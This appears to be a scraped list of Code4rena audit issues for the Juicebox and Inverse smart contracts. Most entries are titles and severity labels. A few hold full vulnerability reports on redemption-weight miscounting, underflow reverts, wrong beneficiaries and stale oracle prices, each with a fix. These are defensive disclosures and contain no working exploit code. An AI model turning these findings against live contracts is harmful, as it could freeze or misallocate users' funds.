"https://github.com/code-423n4/2022-10-juicebox-findings/issues/188", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "grade-b", "Q-39"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/180", "labels": ["bug", "QA (Quality Assurance)", "grade-a", "Q-38"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/179", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-37"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/178", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-26"], "target": "2022-10-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Deploying a delegate with incomplete bytecode", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/172", "labels": ["bug", "disagree with severity", "downgraded by judge", "QA (Quality Assurance)", "grade-a", "Q-36"], "target": "2022-10-juicebox-findings", "body": "Deploying a delegate with incomplete bytecode"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/167", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-35"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/165", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "grade-b", "Q-34"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/164", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-25"], "target": "2022-10-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Beneficiary credit balance can unwillingly be used to mint low tier NFT ", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/160", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged", "satisfactory", "selected for report", "M-06"], "target": "2022-10-juicebox-findings", "body": "Beneficiary credit balance can unwillingly be used to mint low tier NFT "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/158", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden", "grade-a", "G-24"], "target": "2022-10-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/154", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-23"], "target": "2022-10-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/153", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-33"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/152", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-32"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/151", "labels": ["bug", "QA (Quality Assurance)", "grade-a", "Q-31"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/150", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-22"], "target": "2022-10-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/149", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-21"], "target": "2022-10-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/148", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-20"], "target": "2022-10-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/146", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden", "grade-b", "G-19"], "target": "2022-10-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/144", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-30"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/143", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden", "grade-b", "G-18"], "target": "2022-10-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/141", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden", "grade-b", "G-17"], "target": "2022-10-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/139", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-29"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/137", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-16"], "target": "2022-10-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Delegate contracts ownership can be lost to Deployer.", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/135", "labels": ["bug", "downgraded by judge", "QA (Quality Assurance)", "grade-b", "Q-28"], "target": "2022-10-juicebox-findings", "body": "Delegate contracts ownership can be lost to Deployer."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/134", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-27"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/133", "labels": ["bug", "G (Gas Optimization)", "grade-a", "selected for report", "G-15"], "target": "2022-10-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/131", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-14"], "target": "2022-10-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Outstanding reserved tokens are incorrectly counted in total redemption weight", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/129", "labels": ["bug", "3 (High Risk)", "high quality report", "primary issue", "sponsor confirmed", "upgraded by judge", "selected for report", "H-03"], "target": "2022-10-juicebox-findings", "body": "# Lines of code https://github.com/jbx-protocol/juice-nft-rewards/blob/f9893b1497098241dd3a664956d8016ff0d0efd0/contracts/JBTiered721DelegateStore.sol#L563-L566 # Vulnerability details ## Impact The amounts redeemed in overflow redemption can be calculated incorrectly due to incorrect accounting of the outstanding number of reserved tokens. ## Proof of Concept Project contributors are allowed to redeem their NFT tokens for a portion of the overflow (excessive funded amounts). The amount a contributor receives is calculated as [overflow * (user's redemption rate / total redemption weight)](https://github.com/jbx-protocol/juice-nft-rewards/blob/f9893b1497098241dd3a664956d8016ff0d0efd0/contracts/abstract/JB721Delegate.sol#L135-L142), where user's redemption weight is [the total contribution floor of all their NFTs](https://github.com/jbx-protocol/juice-nft-rewards/blob/f9893b1497098241dd3a664956d8016ff0d0efd0/contracts/JBTiered721DelegateStore.sol#L532-L539) and total redemption weight is [the total contribution floor of all minted NFTs](https://github.com/jbx-protocol/juice-nft-rewards/blob/f9893b1497098241dd3a664956d8016ff0d0efd0/contracts/JBTiered721DelegateStore.sol#L563-L566). Since the total redemption weight is the sum of individual contributor redemption weights, the amount they can redeem is proportional to their contribution. However, the total redemption weight calculation incorrectly accounts outstanding reserved tokens ([JBTiered721DelegateStore.sol#L563-L566](https://github.com/jbx-protocol/juice-nft-rewards/blob/f9893b1497098241dd3a664956d8016ff0d0efd0/contracts/JBTiered721DelegateStore.sol#L563-L566)): ```solidity // Add the tier's contribution floor multiplied by the quantity minted. weight += (_storedTier.contributionFloor * (_storedTier.initialQuantity - _storedTier.remainingQuantity)) + _numberOfReservedTokensOutstandingFor(_nft, _i, _storedTier); ``` Specifically, the *number* of reserved tokens is added to the *weight* of minted tokens. This disrupts the redemption amount calculation formula since the total redemption weight is in fact not the sum of individual contributor redemption weights. ## Tools Used Manual review ## Recommended Mitigation Steps Two options can be seen: 1. if the outstanding number of reserved tokens is considered minted (which seems to be so, judging by [this logic](https://github.com/jbx-protocol/juice-nft-rewards/blob/f9893b1497098241dd3a664956d8016ff0d0efd0/contracts/JBTiered721DelegateStore.sol#L1058-L1063)) then it needs to be added to the quantity, i.e.: ```diff --- a/contracts/JBTiered721DelegateStore.sol +++ b/contracts/JBTiered721DelegateStore.sol @@ -562,8 +562,7 @@ contract JBTiered721DelegateStore is IJBTiered721DelegateStore { // Add the tier's contribution floor multiplied by the quantity minted. weight += (_storedTier.contributionFloor * - (_storedTier.initialQuantity - _storedTier.remainingQuantity)) + - _numberOfReservedTokensOutstandingFor(_nft, _i, _storedTier); + (_storedTier.initialQuantity - _storedTier.remainingQuantity + + _numberOfReservedTokensOutstandingFor(_nft, _i, _storedTier))); unchecked { ++_i; ``` 1. if it's not considered minted, then it shouldn't be counted at all."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/128", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-13"], "target": "2022-10-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/126", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-12"], "target": "2022-10-juicebox-findings", "body": "Gas Optimizations"}, {"title": "NFT not minted when contributed via a supported payment terminal", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/124", "labels": ["bug", "2 (Med Risk)", "downgraded by judge", "primary issue", "sponsor disputed", "selected for report", "M-05"], "target": "2022-10-juicebox-findings", "body": "NFT not minted when contributed via a supported payment terminal"}, {"title": "Project owner can steal overflow from contributors", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/123", "labels": ["bug", "downgraded by judge", "QA (Quality Assurance)", "sponsor disputed", "grade-b", "Q-26"], "target": "2022-10-juicebox-findings", "body": "Project owner can steal overflow from contributors"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/120", "labels": ["bug", "QA (Quality Assurance)", "grade-a", "Q-25"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/118", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-11"], "target": "2022-10-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Minting and redeeming will break for fully minted tiers with reserveRate != 0 and reserveRate/MaxReserveRate tokens burned", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/113", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "satisfactory", "edited-by-warden", "selected for report", "H-02"], "target": "2022-10-juicebox-findings", "body": "# Lines of code https://github.com/jbx-protocol/juice-nft-rewards/blob/f9893b1497098241dd3a664956d8016ff0d0efd0/contracts/JBTiered721DelegateStore.sol#L1224-L1259 # Vulnerability details ## Impact Minting and redeeming become impossible ## Proof of Concept uint256 _numberOfNonReservesMinted = _storedTier.initialQuantity - _storedTier.remainingQuantity - _reserveTokensMinted; uint256 _numerator = uint256(_numberOfNonReservesMinted * _storedTier.reservedRate); uint256 _numberReservedTokensMintable = _numerator / JBConstants.MAX_RESERVED_RATE; if (_numerator - JBConstants.MAX_RESERVED_RATE * _numberReservedTokensMintable > 0) ++_numberReservedTokensMintable; return _numberReservedTokensMintable - _reserveTokensMinted; The lines above are taken from JBTiered721DelegateStore#_numberOfReservedTokensOutstandingFor and used to calculate and return the available number of reserve tokens that can be minted. Since the return statement doesn't check that _numberReservedTokensMintable >= _reserveTokensMinted, it will revert under those circumstances. The issue is that there are legitimate circumstances in which this becomes false. If a tier is fully minted then all reserve tokens are mintable. When the tier begins to redeem, _numberReservedTokensMintable will fall under _reserveTokensMinted, permanently breaking minting and redeeming. Minting is broken because all mint functions directly call _numberOfReservedTokensOutstandingFor. Redeeming is broken because the redeem callback (JB721Delegate#redeemParams) calls _totalRedemtionWeight which calls _numberOfReservedTokensOutstandingFor. Example: A tier has a reserveRate of 100 (1/100 tokens reserved) and an initialQuantity of 10000. We assume that the tier has been fully minted, that is, _reserveTokensMinted is 100 and remainingQuantity = 0. Now we begin burning the tokens. Let's run through the lines above after 100 tokens have been burned (remainingQuantity = 100): _numberOfNonReservedMinted = 10000 - 100 - 100 = 9800 _numerator = 9800 * 100 = 980000 _numberReservedTokensMintable = 980000 / 10000 = 98 Since _numberReservedTokensMintable < _reserveTokensMinted the line will underflow and revert. JBTiered721DelegateStore#_numberOfReservedTokensOutstandingFor will now revert every time it is called. This affects all minting functions as well as totalRedemptionWeight. Since those functions now revert when called, it is impossible to mint or redeem anymore NFTs. ## Tools Used Manual Review ## Recommended Mitigation Steps Add a check before returning: + if (_reserveTokensMinted > _numberReservedTokensMintable) { + return 0; + } return _numberReservedTokensMintable - _reserveTokensMinted;"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/112", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-24"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/111", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-23"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/109", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-22"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/107", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-10"], "target": "2022-10-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/104", "labels": ["bug", "QA (Quality Assurance)", "grade-a", "Q-21"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/103", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "grade-b", "Q-20"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/100", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden", "grade-b", "G-09"], "target": "2022-10-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/99", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-19"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/94", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-18"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/91", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-17"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/89", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-08"], "target": "2022-10-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/88", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-16"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/87", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-15"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/85", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-14"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "Events with wrong argument order", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/80", "labels": ["bug", "downgraded by judge", "QA (Quality Assurance)", "grade-b", "Q-13"], "target": "2022-10-juicebox-findings", "body": "Events with wrong argument order"}, {"title": "Lack of sanity check for total number of tiers after adding new tiers can lead to malfunction of protocol", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/72", "labels": ["bug", "downgraded by judge", "QA (Quality Assurance)", "grade-b", "Q-12"], "target": "2022-10-juicebox-findings", "body": "Lack of sanity check for total number of tiers after adding new tiers can lead to malfunction of protocol"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/71", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-07"], "target": "2022-10-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/70", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-11"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/66", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-10"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "Iterations over all tiers in recordMintBestAvailableTier can render system unusable", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/64", "labels": ["bug", "2 (Med Risk)", "primary issue", "selected for report", "M-04"], "target": "2022-10-juicebox-findings", "body": "Iterations over all tiers in recordMintBestAvailableTier can render system unusable"}, {"title": "Changing default reserved token beneficiary may result in wrong beneficiary for tier", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/63", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "satisfactory", "selected for report", "M-03"], "target": "2022-10-juicebox-findings", "body": "# Lines of code https://github.com/jbx-protocol/juice-nft-rewards/blob/89cea0e2a942a9dc9e8d98ae2c5f1b8f4d916438/contracts/JBTiered721DelegateStore.sol#L701 # Vulnerability details ## Impact When the `reservedTokenBeneficiary` of a tier is equal to `defaultReservedTokenBeneficiaryOf[msg.sender]`, it is not explicitly set for this tier. This generally works well because in the function `reservedTokenBeneficiaryOf(address _nft, uint256 _tierId)`, `defaultReservedTokenBeneficiaryOf[_nft]` is used as a backup when `_reservedTokenBeneficiaryOf[_nft][_tierId]` is not set. However, it will lead to the wrong beneficiary when `defaultReservedTokenBeneficiaryOf[msg.sender]` is later changed, as this new beneficiary will be used for the tier, which is not the intended one. ## Proof Of Concept `defaultReservedTokenBeneficiaryOf[address(delegate)]` is originally set to `address(Bob)` when the following happens: 1.) A new tier 42 is added with `_tierToAdd.reservedTokenBeneficiary = address(Bob)`. Because this is equal to `defaultReservedTokenBeneficiaryOf[address(delegate)]`, `_reservedTokenBeneficiaryOf[msg.sender][_tierId]` is not set. 2.) The owner calls `setDefaultReservedTokenBeneficiary` to change the default beneficiary (i.e., the value `defaultReservedTokenBeneficiaryOf[address(delegate)]`) to `address(Alice)`. 3.) Now, every call to `reservedTokenBeneficiaryOf(address(delegate), 42)` will return `address(Alice)`, meaning she will get these reserved tokens. This is of course wrong, the tier was explicitly created with Bob as the beneficiary. ## Recommended Mitigation Steps Also set `_reservedTokenBeneficiaryOf[msg.sender][_tierId]` when it is equal to the current default beneficiary."}, {"title": "JBTiered721Delegate.tokenURI violates EIP-721", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/61", "labels": ["bug", "downgraded by judge", "QA (Quality Assurance)", "sponsor acknowledged", "grade-a", "Q-09"], "target": "2022-10-juicebox-findings", "body": "JBTiered721Delegate.tokenURI violates EIP-721"}, {"title": "Should check that _owner isnt address(0)", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/59", "labels": ["bug", "downgraded by judge", "QA (Quality Assurance)", "grade-b", "Q-08"], "target": "2022-10-juicebox-findings", "body": "Should check that _owner isnt address(0)"}, {"title": "Use _safeMint() rather than _mint() for ERC721 tokens", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/55", "labels": ["bug", "downgraded by judge", "QA (Quality Assurance)", "grade-b", "Q-07"], "target": "2022-10-juicebox-findings", "body": "Use _safeMint() rather than _mint() for ERC721 tokens"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/54", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-06"], "target": "2022-10-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/53", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-06"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "Making a payment to the protocol with `_dontMint` parameter will result in lost fund for user.", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/45", "labels": ["bug", "3 (High Risk)", "high quality report", "primary issue", "selected for report", "H-01"], "target": "2022-10-juicebox-findings", "body": "Making a payment to the protocol with `_dontMint` parameter will result in lost fund for user."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/42", "labels": ["bug", "G (Gas Optimization)", "high quality report", "grade-a", "G-05"], "target": "2022-10-juicebox-findings", "body": "Gas Optimizations"}, {"title": "`JBTiered721DelegateDeployer.deployDelegateFor` cast every governance type to `JB721GlobalGovernance`", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/41", "labels": ["bug", "disagree with severity", "downgraded by judge", "QA (Quality Assurance)", "grade-a", "Q-05"], "target": "2022-10-juicebox-findings", "body": "`JBTiered721DelegateDeployer.deployDelegateFor` cast every governance type to `JB721GlobalGovernance`"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/34", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-04"], "target": "2022-10-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/32", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-03"], "target": "2022-10-juicebox-findings", "body": "Gas Optimizations"}, {"title": "The tier setting parameter are unsafely downcasted from type uint256 to type uint80 / uint48 / uint40 / uint16", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/31", "labels": ["bug", "2 (Med Risk)", "high quality report", "primary issue", "selected for report", "M-02"], "target": "2022-10-juicebox-findings", "body": "The tier setting parameter are unsafely downcasted from type uint256 to type uint80 / uint48 / uint40 / uint16"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/27", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-02"], "target": "2022-10-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/26", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-04"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "Multiples initializations of `JBTiered721Delegate`", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/24", "labels": ["bug", "2 (Med Risk)", "downgraded by judge", "satisfactory", "edited-by-warden", "selected for report", "M-01"], "target": "2022-10-juicebox-findings", "body": "Multiples initializations of `JBTiered721Delegate`"}, {"title": "JB NFT may be minted to non ERC721 receivers", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/18", "labels": ["bug", "downgraded by judge", "QA (Quality Assurance)", "grade-b", "Q-03"], "target": "2022-10-juicebox-findings", "body": "JB NFT may be minted to non ERC721 receivers"}, {"title": "Governance voting outcome can be manipulated", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/11", "labels": ["bug", "disagree with severity", "downgraded by judge", "QA (Quality Assurance)", "satisfactory", "grade-b", "Q-02"], "target": "2022-10-juicebox-findings", "body": "Governance voting outcome can be manipulated"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/10", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden", "grade-b", "G-01"], "target": "2022-10-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/9", "labels": ["bug", "high quality report", "QA (Quality Assurance)", "edited-by-warden", "grade-b", "Q-01"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/1", "labels": [], "target": "2022-10-juicebox-findings", "body": "Agreements & Disclosures"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/604", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-55"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/595", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-54"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/594", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-54"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/593", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-53"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/592", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-53"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/590", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-52"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/588", "labels": ["bug", "QA (Quality Assurance)", "grade-a", "Q-51"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Protocol's usability becomes very limited when access to Chainlink oracle data feed is blocked", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/586", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "satisfactory", "sponsor acknowledged", "selected for report", "M-18"], "target": "2022-10-inverse-findings", "body": "Protocol's usability becomes very limited when access to Chainlink oracle data feed is blocked"}, {"title": "Chainlink oracle data feed is not sufficiently validated and can return stale `price`", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/584", "labels": ["bug", "2 (Med Risk)", "primary issue", "sponsor confirmed", "selected for report", "M-17"], "target": "2022-10-inverse-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-inverse/blob/main/src/Oracle.sol#L78-L105 https://github.com/code-423n4/2022-10-inverse/blob/main/src/Oracle.sol#L112-L144 https://github.com/code-423n4/2022-10-inverse/blob/main/src/Market.sol#L344-L347 https://github.com/code-423n4/2022-10-inverse/blob/main/src/Market.sol#L323-L327 https://github.com/code-423n4/2022-10-inverse/blob/main/src/Market.sol#L353-L363 # Vulnerability details ## Impact Calling the `Oracle` contract's `viewPrice` or `getPrice` function executes `uint price = feeds[token].feed.latestAnswer()` and `require(price > 0, \"Invalid feed price\")`. Besides that Chainlink's `latestAnswer` function is deprecated, only verifying that `price > 0` is true is also not enough to guarantee that the returned `price` is not stale. Using a stale `price` can cause the calculations for the credit and withdrawal limits to be inaccurate, which, for example, can mistakenly consider a user's debt to be under water and unexpectedly allow the user's debt to be liquidated. To avoid using a stale answer returned by the Chainlink oracle data feed, according to [Chainlink's documentation](https://docs.chain.link/docs/historical-price-data): 1. The `latestRoundData` function can be used instead of the deprecated `latestAnswer` function. 2. `roundId` and `answeredInRound` are also returned. \"You can check `answeredInRound` against the current `roundId`. If `answeredInRound` is less than `roundId`, the answer is being carried over. If `answeredInRound` is equal to `roundId`, then the answer is fresh.\" 3. \"A read can revert if the caller is requesting the details of a round that was invalid or has not yet been answered. If you are deriving a round ID without having observed it before, the round might not be complete. To check the round, validate that the timestamp on that round is not 0.\" https://github.com/code-423n4/2022-10-inverse/blob/main/src/Oracle.sol#L78-L105 ```solidity function viewPrice(address token, uint collateralFactorBps) external view returns (uint) { if(fixedPrices[token] > 0) return fixedPrices[token]; if(feeds[token].feed != IChainlinkFeed(address(0))) { // get price from feed uint price = feeds[token].feed.latestAnswer(); require(price > 0, \"Invalid feed price\"); // normalize price uint8 feedDecimals = feeds[token].feed.decimals(); uint8 tokenDecimals = feeds[token].tokenDecimals; uint8 decimals = 36 - feedDecimals - tokenDecimals; uint normalizedPrice = price * (10 ** decimals); uint day = block.timestamp / 1 days; // get today's low uint todaysLow = dailyLows[token][day]; // get yesterday's low uint yesterdaysLow = dailyLows[token][day - 1]; // calculate new borrowing power based on collateral factor uint newBorrowingPower = normalizedPrice * collateralFactorBps / 10000; uint twoDayLow = todaysLow > yesterdaysLow && yesterdaysLow > 0 ? yesterdaysLow : todaysLow; if(twoDayLow > 0 && newBorrowingPower > twoDayLow) { uint dampenedPrice = twoDayLow * 10000 / collateralFactorBps; return dampenedPrice < normalizedPrice ? dampenedPrice: normalizedPrice; } return normalizedPrice; } revert(\"Price not found\"); } ``` 